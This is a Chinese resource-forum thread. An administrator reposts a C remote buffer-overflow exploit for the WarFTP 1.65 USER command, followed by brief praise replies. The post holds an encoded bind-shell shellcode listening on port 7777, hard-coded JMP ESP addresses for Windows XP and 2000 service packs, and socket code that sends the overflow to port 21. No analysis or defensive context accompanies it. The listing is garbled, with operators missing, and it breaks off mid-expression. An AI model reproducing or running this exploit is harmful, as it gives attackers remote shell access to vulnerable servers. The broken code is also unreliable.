请选择 进入手机版 | 继续访问电脑版

无情资源网

 找回密码
 立即注册
搜索
查看: 8757|回复: 12

WarFTP 1.65 (USER) Remote Buffer Overlow Exploit

[复制链接]
网站成绩
 255235

 255248

 275520

主题
帖子
积分
等级头衔

 ID : 1

 管理员

积分成就    威望 :0
   贡献 : 0
   WB: 20212
   违规 : 0
   在线时间 :55 小时
  注册时间 :2020-9-9
  最后登录 :2020-10-20
勋章
联系方式

发表于 2020-9-12 12:13:44 | 显示全部楼层 |阅读模式
#include  
#include  
#include  #define VULNSERVER         "WAR-FTPD 1.65"
#define VULNCMD     "\x55\x53\x45\x52\x20"
#define ZERO                        '\x00'
#define NOP                         '\x90'
#define VULNBUFF                      485
#define BUFFREAD                      128
#define PORT                           21
#define LENJMPESP                       4   /* #############################################################################
   #####                                                                   #####
   #####                      WARFTP - VERSION 1.65                        #####
   #####                                                                   #####
   #####     WarFTP Username Stack-Based Buffer-Overflow Vulnerability     #####
   #####                                                                   #####
   #####  DESCRIPTION: WarFTP is prone to a stack-based buffer-overflow    #####
   #####     vulnerability because it fails to properly check boundaries   #####
   #####     on user-supplied data before copying it to an insufficiently  #####
   #####     sized buffer.                                                 #####
   #####                                                                   #####
   #####  FUNC VULNERABLE: sprintf(char *buffer, const char *format, argv) #####
   #####       0x004044E7: sprintf(0x00ACFB50, "%sCRLF", ExploitBuffer)    #####
   #####                                                                   #####
   #####  AFFECTED VERSION: 1.65                                           #####
   #####  USE: warftphack.exe IP_ADDRESS SO_&_SERVICE_PACK [ ESP ADDRESS ] #####
   #####     SO_&_SERVICE_PACK:                                            #####
   #####        [0]  Microsoft Windows XP Pro Spanish SP0                  #####           
   #####        [1]  Microsoft Windows XP Pro Spanish SP1                  #####
   #####        [2]  Microsoft Windows XP Pro Spanish SP2                  #####
   #####        [3]  Microsoft Windows XP Pro English SP0                  #####           
   #####        [4]  Microsoft Windows XP Pro English SP1                  #####
   #####        [5]  Microsoft Windows XP Pro English SP2                  #####   
   #####        [6]  Microsoft Windows 2000 Pro Spanish SP0                #####           
   #####        [7]  Microsoft Windows 2000 Pro Spanish SP1                #####
   #####        [8]  Microsoft Windows 2000 Pro Spanish SP2                #####
   #####        [9]  Microsoft Windows 2000 Pro Spanish SP3                #####
   #####        [10] Microsoft Windows 2000 Pro English SP0                #####           
   #####        [11] Microsoft Windows 2000 Pro English SP1                #####
   #####        [12] Microsoft Windows 2000 Pro English SP2                #####
   #####        [13] Microsoft Windows 2000 Pro English SP3                #####     
   #####        [14] Custom -> JMP ESP ADDRESS                             #####
   #####                                                                   #####   
   #####     EXAMPLE:  warftphack.exe 127.0.0.1 2                          #####
   #####     EXAMPLE2: warftphack.exe 127.0.0.1 14 0x776EDDFF              #####
   #####                                                                   #####
   #####  AUTOR: niXel - SYSCODE   (SPAIN)                                 #####
   #####  IDE: Dev-C ver-4.9.9.2                                           #####
   #####  COMPILER: MinGW                                                  #####
   #####  DEPENDENCES: Linker -> libwsock32.a                              #####
   #####  MAIL: Und3rground2002@hotmail.com                                #####
   #####                                                                   #####
   #############################################################################       CAUTION: USER command vulnerable => no send \x40 (@) char into shellcode (user@host)
                                          no send \x0A (\n) char into shellcode
                                          no send \x0D (\r) char into shellcode
               FUNCTION sprintf => no send \x00 (\0) char into shellcode               ############################ BINDSHELLCODE ##############################
                                       [7777]                                    */
                                       
char syscode[] =
   "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
   "\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61"
   "\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x71\x32\x41\x42\x41\x32"
   "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x4b\x4c\x32"
   "\x4a\x5a\x4b\x50\x4d\x6d\x38\x6b\x49\x49\x6f\x59\x6f\x39\x6f\x35"
   "\x30\x6c\x4b\x70\x6c\x65\x74\x37\x54\x4c\x4b\x42\x65\x47\x4c\x6e"
   "\x6b\x31\x6c\x46\x65\x33\x48\x43\x31\x48\x6f\x6c\x4b\x70\x4f\x65"
   "\x48\x6c\x4b\x73\x6f\x35\x70\x37\x71\x38\x6b\x31\x59\x4c\x4b\x46"
   "\x54\x6e\x6b\x53\x31\x58\x6e\x30\x31\x6f\x30\x4f\x69\x4e\x4c\x4b"
   "\x34\x49\x50\x41\x64\x46\x67\x49\x51\x7a\x6a\x46\x6d\x43\x31\x48"
   "\x42\x5a\x4b\x38\x74\x47\x4b\x30\x54\x64\x64\x51\x38\x42\x55\x4b"
   "\x55\x4e\x6b\x53\x6f\x51\x34\x43\x31\x4a\x4b\x50\x66\x4e\x6b\x46"
   "\x6c\x42\x6b\x4c\x4b\x73\x6f\x75\x4c\x33\x31\x5a\x4b\x65\x53\x34"
   "\x6c\x6e\x6b\x6d\x59\x30\x6c\x57\x54\x55\x4c\x55\x31\x4b\x73\x74"
   "\x71\x69\x4b\x65\x34\x6e\x6b\x43\x73\x74\x70\x6c\x4b\x67\x30\x46"
   "\x6c\x6c\x4b\x70\x70\x67\x6c\x6e\x4d\x6c\x4b\x57\x30\x44\x48\x71"
   "\x4e\x72\x48\x4e\x6e\x50\x4e\x54\x4e\x38\x6c\x70\x50\x4b\x4f\x4e"
   "\x36\x71\x76\x41\x43\x31\x76\x31\x78\x76\x53\x30\x32\x53\x58\x30"
   "\x77\x44\x33\x57\x42\x63\x6f\x70\x54\x6b\x4f\x48\x50\x73\x58\x58"
   "\x4b\x58\x6d\x6b\x4c\x57\x4b\x70\x50\x6b\x4f\x6a\x76\x71\x4f\x6d"
   "\x59\x4b\x55\x65\x36\x6c\x41\x68\x6d\x53\x38\x63\x32\x42\x75\x51"
   "\x7a\x36\x62\x59\x6f\x58\x50\x71\x78\x4a\x79\x34\x49\x4b\x45\x6e"
   "\x4d\x30\x57\x69\x6f\x4e\x36\x52\x73\x41\x43\x62\x73\x76\x33\x51"
   "\x43\x70\x43\x43\x63\x73\x73\x36\x33\x6b\x4f\x4a\x70\x75\x36\x41"
   "\x78\x75\x4e\x71\x71\x35\x36\x42\x73\x4b\x39\x79\x71\x6c\x55\x70"
   "\x68\x4f\x54\x75\x4a\x32\x50\x39\x57\x52\x77\x69\x6f\x38\x56\x70"
   "\x6a\x72\x30\x50\x51\x53\x65\x4b\x4f\x58\x50\x55\x38\x6c\x64\x4c"
   "\x6d\x34\x6e\x49\x79\x66\x37\x6b\x4f\x4e\x36\x50\x53\x30\x55\x69"
   "\x6f\x4a\x70\x53\x58\x7a\x45\x41\x59\x4e\x66\x37\x39\x36\x37\x69"
   "\x6f\x59\x46\x72\x70\x50\x54\x31\x44\x33\x65\x4b\x4f\x5a\x70\x4f"
   "\x63\x51\x78\x38\x67\x50\x79\x38\x46\x43\x49\x32\x77\x4b\x4f\x4b"
   "\x66\x62\x75\x79\x6f\x6a\x70\x45\x36\x30\x6a\x52\x44\x30\x66\x41"
   "\x78\x32\x43\x72\x4d\x6f\x79\x6d\x35\x62\x4a\x42\x70\x70\x59\x74"
   "\x69\x5a\x6c\x6c\x49\x6b\x57\x41\x7a\x32\x64\x6b\x39\x68\x62\x30"
   "\x31\x6f\x30\x6b\x43\x6e\x4a\x6b\x4e\x51\x52\x34\x6d\x49\x6e\x62"
   "\x62\x36\x4c\x5a\x33\x6c\x4d\x71\x6a\x65\x68\x6e\x4b\x4c\x6b\x4e"
   "\x4b\x55\x38\x30\x72\x59\x6e\x4c\x73\x37\x66\x4b\x4f\x30\x75\x63"
   "\x74\x39\x6f\x6e\x36\x33\x6b\x36\x37\x72\x72\x31\x41\x31\x41\x46"
   "\x31\x50\x6a\x55\x51\x31\x41\x41\x41\x32\x75\x42\x71\x39\x6f\x48"
   "\x50\x50\x68\x6c\x6d\x39\x49\x45\x55\x78\x4e\x30\x53\x39\x6f\x6b"
   "\x66\x62\x4a\x79\x6f\x39\x6f\x47\x47\x39\x6f\x58\x50\x4e\x6b\x50"
   "\x57\x4b\x4c\x6c\x43\x4b\x74\x70\x64\x6b\x4f\x6a\x76\x41\x42\x49"
   "\x6f\x58\x50\x30\x68\x68\x6f\x6a\x6e\x4b\x50\x31\x70\x42\x73\x49"
   "\x6f\x58\x56\x49\x6f\x78\x50\x61";
      
int main(int argc, char ** argv) {
   char buffRead[BUFFREAD], jmpESP[LENJMPESP], ch, ch2;
   char * pbuffSend;
   unsigned int err = 0, i, k;
   int sockData, j;
   struct sockaddr_in their_addr;
   WSADATA wsaData;    system("cls");
   fprintf(stdout, "\n\tWarFTP Username Stack-Based Buffer-Overflow Vulnerability\n");
   fprintf(stdout, "     ____________________________________________________________________\n\n");
      
   if (((argc == 3) && (atoi(argv[2]) >= 0) && (atoi(argv[2]) < 14)) || ((argc == 4) && (atoi(argv[2]) == 14))) {
   
      if (WSAStartup(MAKEWORD(2, 0), &wsaData) == 0) {
         if ((sockData = socket(AF_INET, SOCK_STREAM, 0)) != -1) {
                       
                                            /* Server data struct */             their_addr.sin_family = AF_INET;                      // ; Family AF_INET
            their_addr.sin_addr.s_addr = inet_addr(argv[1]);      // ; IP Address = Argv[1]
            their_addr.sin_port = htons(PORT);                    // ; Port = 21
            memset(&(their_addr.sin_zero), '0', 8);               // ; IP:Port = Argv[1]:21
      
            if (connect(sockData, (struct sockaddr *) &their_addr, sizeof(struct sockaddr)) != -1) {
               recv(sockData, buffRead, BUFFREAD, 0);
               buffRead[BUFFREAD - 1] = ZERO;
               
               if (strstr(buffRead, VULNSERVER) != NULL) {
                                    
                  /* #################################################################################
                     ##### BufferSend -> "USER A*VULNBUFF @JMP_ESP \x90\x90\x90\x90 SYSCODE \r\n #####
                     ################################################################################# */
                     
                  pbuffSend = (char *) malloc(strlen(VULNCMD)   VULNBUFF   LENJMPESP   (sizeof(char) * 4)   strlen(syscode)   (sizeof(char) * 2));                                       
                  if (pbuffSend != NULL) {
                     for (i=0; i < strlen(VULNCMD); i  ) *(pbuffSend   i) = VULNCMD;
                     for (j=0; j < VULNBUFF; i  , j  ) *(pbuffSend   i) = '\x41';
                       
                     /*                      - OPcodes from ntdll.dll -> JMP ESP -                     */
                     switch(atoi(argv[2])) {
                        case 0: memcpy(jmpESP, "\xE3\x39\xF4\x77", LENJMPESP); break;
                        case 1: memcpy(jmpESP, "\x0F\x98\xF8\x77", LENJMPESP); break;
                        case 2: memcpy(jmpESP, "\xED\x1E\x95\x7C", LENJMPESP); break;
                        case 3: memcpy(jmpESP, "\xE3\x39\xF4\x77", LENJMPESP); break;
                        case 4: memcpy(jmpESP, "\xCC\x59\xFA\x77", LENJMPESP); break;
                        case 5: memcpy(jmpESP, "\xED\x1E\x95\x7C", LENJMPESP); break;
                        case 6: memcpy(jmpESP, "\xFF\xFF\xFF\xFF", LENJMPESP); break;
                        case 7: memcpy(jmpESP, "\xFF\xFF\xFF\xFF", LENJMPESP); break;
                        case 8: memcpy(jmpESP, "\xFF\xFF\xFF\xFF", LENJMPESP); break;
                        case 9: memcpy(jmpESP, "\xFF\xFF\xFF\xFF", LENJMPESP); break;
                        case 10: memcpy(jmpESP, "\x8B\x94\xF8\x77", LENJMPESP); break;
                        case 11: memcpy(jmpESP, "\xAB\x67\xF9\x77", LENJMPESP); break;
                        case 12: memcpy(jmpESP, "\xFF\xFF\xFF\xFF", LENJMPESP); break;
                        case 13: memcpy(jmpESP, "\xFF\xFF\xFF\xFF", LENJMPESP); break;
                        case 14:
                           k = 0;
                           if ((strncmp(argv[3], "0x", (sizeof(char) * 2)) == 0) && (strlen(argv[3]) == 10)) {
                              for (j=(sizeof(char) * 8) - 1; ((j >= 0) && (!err)); j--) {
                                 ch = *(argv[3]   j   2);
                                 if (((ch > 47) && (ch < 58)) || ((ch > 64) && (ch < 71)) || ((ch > 96) && (ch < 103))) {
                                    if ((ch > 47) && (ch < 58)) ch -= 48;
                                    else if ((ch > 64) && (ch < 71)) ch -= 55;
                                    else ch -= 87;
                                    
                                    if ((j % 2) == 0) jmpESP[k  ] = ((ch

回复

使用道具 举报

网站成绩
 0

 127

 413

主题
帖子
积分
等级头衔

 ID : 1142

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 288
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-8
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:42 | 显示全部楼层
不错!!

回复

使用道具 举报

网站成绩
 0

 105

 337

主题
帖子
积分
等级头衔

 ID : 1253

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 234
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-10
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:42 | 显示全部楼层
你好棒!!

回复

使用道具 举报

网站成绩
 0

 100

 324

主题
帖子
积分
等级头衔

 ID : 1484

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 226
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-7
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:38 | 显示全部楼层
你历害!!

回复

使用道具 举报

网站成绩
 0

 95

 295

主题
帖子
积分
等级头衔

 ID : 1377

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 202
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-6
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:36 | 显示全部楼层
支持!!!

回复

使用道具 举报

网站成绩
 0

 118

 354

主题
帖子
积分
等级头衔

 ID : 1449

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 238
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-7
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:34 | 显示全部楼层
沙发!!

回复

使用道具 举报

网站成绩
 0

 100

 324

主题
帖子
积分
等级头衔

 ID : 1484

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 226
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-7
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:44 | 显示全部楼层
牛逼!!

回复

使用道具 举报

网站成绩
 0

 139

 423

主题
帖子
积分
等级头衔

 ID : 1131

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 286
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-10
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:44 | 显示全部楼层
转发了!!

回复

使用道具 举报

网站成绩
 0

 127

 407

主题
帖子
积分
等级头衔

 ID : 1455

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 282
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-7
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:36 | 显示全部楼层
太棒了!!

回复

使用道具 举报

网站成绩
 0

 130

 416

主题
帖子
积分
等级头衔

 ID : 1224

 中级会员

积分成就    威望 :0
   贡献 : 0
   WB: 288
   违规 : 0
   在线时间 :0 小时
  注册时间 :2020-9-8
  最后登录 :2020-9-28
勋章
联系方式

发表于 2020-9-12 12:13:26 | 显示全部楼层
赞!赞!!

回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【请不要恶意灌水发广告,发现立即封禁账号】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则